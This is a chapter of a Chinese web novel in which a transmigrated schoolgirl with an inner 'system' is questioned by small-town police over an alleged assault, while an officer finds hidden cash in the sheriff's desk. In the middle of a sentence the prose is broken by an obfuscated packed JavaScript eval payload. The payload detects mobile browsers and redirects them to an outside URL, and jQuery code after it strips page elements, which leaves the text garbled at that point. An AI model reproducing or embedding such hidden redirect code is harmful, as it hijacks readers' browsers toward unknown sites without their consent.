在普里斯警局干了快四十年，Grantham警长第一次坐在问询室里感觉到了一种无从查起的棘手。
对面的女孩表现出了完全脱离她这个年纪的冷静和镇定，望过来的眼神中带着的探究和思考，甚至让警长莫名感觉到了一丝如芒在背。
她只是一个正在上高中的小女孩而已。或许心智比同龄人成熟，但是绝不可能知道什么她不应该知道的东西。
警长神色微正，平复了自己不切实际的不安。
与此同时，林黎正在跟系统开小差：你还别说，这大叔长得还挺正气的，感觉在我们那个世界里演一个正派警官没什么问题。
系统：？有没有可能人家就是警官。
林黎：哦？只是警官而已嘛？难道不正派吗？
系统：…………
林黎无辜道：干嘛，我就是随口一问。
系统有的时候真的很想给自己好好杀杀毒升升级——也不知道杀成什么程度升到哪一级才能防住这个无所不用其极的女人。
林黎看着警长推到自己面前的几张图片，若有所思。
图片上是几处肉眼可见非常惨烈的伤处。额头的红肿，脸颊的大片淤青，还有看起来像被碎玻璃划破的耳朵和手臂，未干的血迹结成块缠在头发上，触目惊心。
林黎仔细辨认了一下，这些伤口的主人似乎是她的老熟人——昨天在更衣室里刚刚见过，猫眼三姐妹的钻石姐。
林黎没什么表情地回忆了一下昨天在更衣室里发生的所有事情，好像除了脸颊上的指印和一道不到两公分的划痕——还是因为她自己没拿住眉刀划的，她并没有给钻石姐造成其他实质伤害。
林黎一边想一边还有功夫跟系统吐槽：你知道什么叫恶人自有天收吗？也不知道是被谁打的，下手也太狠了点。早知道有人会收拾她，我就不费工夫了。
系统：…………你能不能认清点现实，你当你面前坐着的这俩人找你是干什么的？
林黎抬眼，面前的警长和女警察都紧紧盯着她，一副不放过任何一丝蛛丝马迹的样子。
林黎在心里无声的叹了口气。
她摇了摇头，酝酿了许久的眼泪终于缓缓从眼眶中滑落。她的小脸愈发苍白，害怕和恐惧的神情终于打破了她平静的外壳，仿佛她一开始的镇静只是一种强装的假象。
警长微微一愣。
林黎手指颤抖着比划：发生了什么事？她为什么受伤了？
对面的两个人都看不懂手语，却能看懂她脸上的害怕。两人互相对视了一眼，警长朝Kelly点了点头，两人便起身离开了问询室。
门开合的瞬间，林黎看到门外正在焦急地跟警官比划着什么的林妈妈，还有浑身湿透苍白得像个雕像的江攸。
……他怎么找过来了。
在门即将合上的最后一秒，江攸似有所察猛地转头望了过来……只来得及在门缝中看到了一眼林黎眼眶通红，泪流满面的样子。
随着门完全合上，林黎怔愣了片刻，顿时在心里跟系统惨叫：糟了！！！演过头了，这让江攸看到了，他不会直接开始发疯然后把我任务终结了吧！！
林黎回忆起上次她挨了一巴掌后瞬间暴走的江攸同学，忍不住打了个寒颤。
系统立马乐了，一副喜闻乐见的样子：不会吧？有人失算了啊？坏事做尽你有没有料到今天啊？
林黎：…………
*
Kelly一早上眼皮一直在跳，她打心底觉得这个案子难办。
里面坐的女孩听不懂也不会说英文，外面懂英文的妈妈听不见也说不了话。
她回想起上次在警局碰见林黎时，她以为她是聋哑人，还尝试用写字的方式跟她沟通了几句。那个时候她也没注意到对方异常缓慢的书写和及其简单的用词。
她打了几个电话，试图找一个会手语的翻译来，却发现整个小镇竟然没有一个会手语的人。这本该是一件非常奇怪的事，但是Kelly查了小镇的人口记录，理所应当地发现了整个小镇在过去的几十年内，除了TheoJiang家和林氏母女，没有任何外来人口。
就好像小镇被彻底封印在了某种现状中，任何新的东西都只会引起警觉和镇压，而不是改变和进步。
Kelly想起那天去接妹妹放学，她在车里问起那两个黑发黑眸的异国人，Kate只是说是她朋友。她心生好奇，便随口问了句什么时候她和他们变成了朋友。
Kate只是笑了一声，略带讽刺的回复道：“如果他们不是异国人，你还会在我说过是我朋友之后，继续问下去吗？”
Kelly给自己倒了杯咖啡，一边喝一边看着警长难以招架林妈妈无声的质询，叹了口气。
“你们做了什么？”
江攸出现得悄无声息，他被这场突如其来的暴雨浇得浑身湿透，正在往下滴水。他却像完全没有注意到一样，一双幽深的眼眸紧紧得盯着Kelly，像是某种被侵入领地的小兽。
“……天呐，你怎么在这里，”Kelly惊讶道，“你为什么不在学校？”
“你们对她做了什么，”江攸打断了她，声音沙哑，脸色白得吓人，“她为什么在哭？”
Kelly顿了一下，莫名觉得有点心虚，“我们只是找她调查一些事情而已……听着，这不应该是你管的事情。”
“她听不懂，你们怎么调查？”
“……”
“到底发生了什么事情？”江攸垂着眼眸，像是在隐忍什么剧烈起伏的情绪，“她昨天一天都跟我在一起，放学之后我送她回的家——如果你们要调查的话，不应该查我吗？”
Kelly觉得有些头疼。
几年前她刚刚当上警察的时候，她就和江攸打过交道。她几乎是亲眼看着这个孩子在巨大的家庭变故后变成了现在这个样子。
当时她不是没想过要帮他，只是她父亲亲自结的案，她没有能力再去介入。
“……我们自然会调查清楚。”Kelly沉默了半晌，江攸总归还只是个孩子，她从抽屉里拿了条毛巾递给他，“你先回家，等有消息了我会通知你。”
江攸定定地看了她一眼，没有接毛巾，飞快地转身离开。
Kelly抑制住自己想要再次叹气的冲动。
“Kelly，”警长有些烦躁地避开林妈妈伸到他面前的本子，朝她喊了一声，“什么时候能找到手语翻译？”
Kelly犹豫了片刻，“……短时间内没有办法。”
“该死的，”警长没忍住爆了句粗口，“……你先去把报警笔录找来给她。不能拖着不审了，实在不行只能让她去给她女儿做翻译了。”
……
Kelly在档案室没有找到昨天的笔录，问过同事才知道，警长今早刚刚看过，还没有拿回来。
她推门进了警长办公室。
普里斯小镇的警局虽然规模不大，但是平日里事务也算繁多。只是没有什么大事，处理一些鸡毛蒜皮的小事就变成了警局的日常。
警长的办公桌上堆着零零散散的几摞文件，吃完还没来及扔掉的三明治盒，刚拆了一半的投诉信……Kelly无奈地顺手帮他收拾着，目光落到摆在书桌一侧的相框上停住了。
那是好几年前的全家福了，在她父亲和母亲还没有分开之前。刚成年的她牵着扎着双马尾的Kate，并肩站着的父母双手交握。奶奶站在父亲身侧，笑得格外慈祥，背景则是奶奶的三明治店。
曾经几时他们一家也是镇上出了名的幸福家庭……而如今，她跟了爸爸，Kate跟了妈妈，一家人凑在一起吃顿饭都已经是奢望。
Kelly找到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491475|170162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了昨天的笔录记录，顺手帮她爹收拾了三明治空盒，将剩下的投诉信整好，塞进抽屉。
就在她打开抽屉的瞬间，窗外忽然一阵狂风吹过，从半敞的窗户闯入，席卷着雨雾把百褶窗帘吹得吱呀作响。
抽屉里散落的现金被吹得飘飘洒洒落了一地，让她如遭雷击般得愣在了原地。
她抬起头，透明窗户上折射着她煞白的，充斥着震惊，疑惑和不敢置信的脸。
*
林妈妈面无表情地扫了一眼面前放着的图片，手上快速地向林黎翻译着：昨天你学校的同学报警声称在学校遭到了殴打。她说是你在体育课结束后潜入更衣室，对她进行了威胁和殴打。他们想知道是不是这样的？你饿了吗？冷不冷？
……果然无论发生什么事情，只有妈妈会无时无刻地关心自己冷不冷。
林黎看着林妈妈仗着对方看不懂正大光明地夹杂私货，心里有点想笑，脸上却仍旧是可怜兮兮我见犹怜的样子：我不饿也不冷。我确实在更衣室碰见了她，但是没有威胁和殴打。
林妈妈点了点头，在准备好的本子上如实写下林黎的回复。
警长冷哼一声，似乎对这个答案不是很满意。
林妈妈继续翻译道：他说你是在说对方在撒谎吗？这不是显而易见的吗，他到底在问些什么。
林黎咳嗽了一声，掩盖了自己差点没忍住的笑声：我语言不通，点个菜都困难，更别说威胁了。她说我打了她，她有证据吗？
警长目光沉沉地盯着林黎。
林妈妈比划道：他问你出了更衣室之后做了什么。
林黎：去了厕所，然后发现厕所有马蜂，我就跑了，碰见了Theo——上次去我们家的那个男生。我们一起出了学校，在校门口遇见了一个同学。然后Theo就送我回家了。我没有再见过对方。
警长在本子上看见了江攸的名字，眉头拧得更深了。江攸上次在学校打群架的事情还没有个结果，怎么又惹上这种事情。
林妈妈：他问是Theo打的吗？
林黎不敢置信地看着警长，手上有些急切地比划着：不是Theo，跟Theo也没有关系——为什么又扯上他了？
林妈妈看着林黎，伸手摸了摸她的脸，宽慰了一句：不要担心，没有证据的事情，他们不占理。
警长皱着眉头，似乎不太高兴看到两个人私下沟通，不耐烦地敲了敲桌子。
林妈妈冷冷地看了他一眼，在本子上写下了林黎的回答。
林黎看着警长，忽然问了一个很关键的问题：我为什么要平白无故地威胁和殴打对方？
警长没有做声。
林黎眼睫毛和手指都在轻轻颤抖着：我转学以来，她处处刁难和霸凌我，我在厕所挨过她的打，在大庭广众之下挨过她一巴掌。如果我能威胁和殴打她至此的话……我会这样受她欺负吗？
她抬眼，深色的眼眸里掺杂着破碎的委屈，难过，惧怕，眼泪飞快地从她的眼里滚落下去，在脸颊上留下了一道水痕。
林妈妈的脸色沉了下去，她握笔几乎攥得发白，写在纸上的字力透纸背。
……她从来都不知道女儿经历过这些。
警长冷冷地看了一眼林黎，没有再说什么，起身离开了房间。
从进房间起就没有开过口的Kelly深深地看了一眼警长的背影，在本子上快速地写了几行字，这才快步跟了上去。
林妈妈翻译给林黎：她说他们会调查清楚。
林黎望着两人的背影，若有所思。
——于此同时，小镇诊所。
Cindy惊惶地望着眼前这个从窗户突然翻进来的人，正要手忙脚乱地要去按呼叫铃——突然，她惊惧地瞪大了眼睛，浑身的血液像被冻住了一般，无法再移动分毫。
他手里举着一把枪。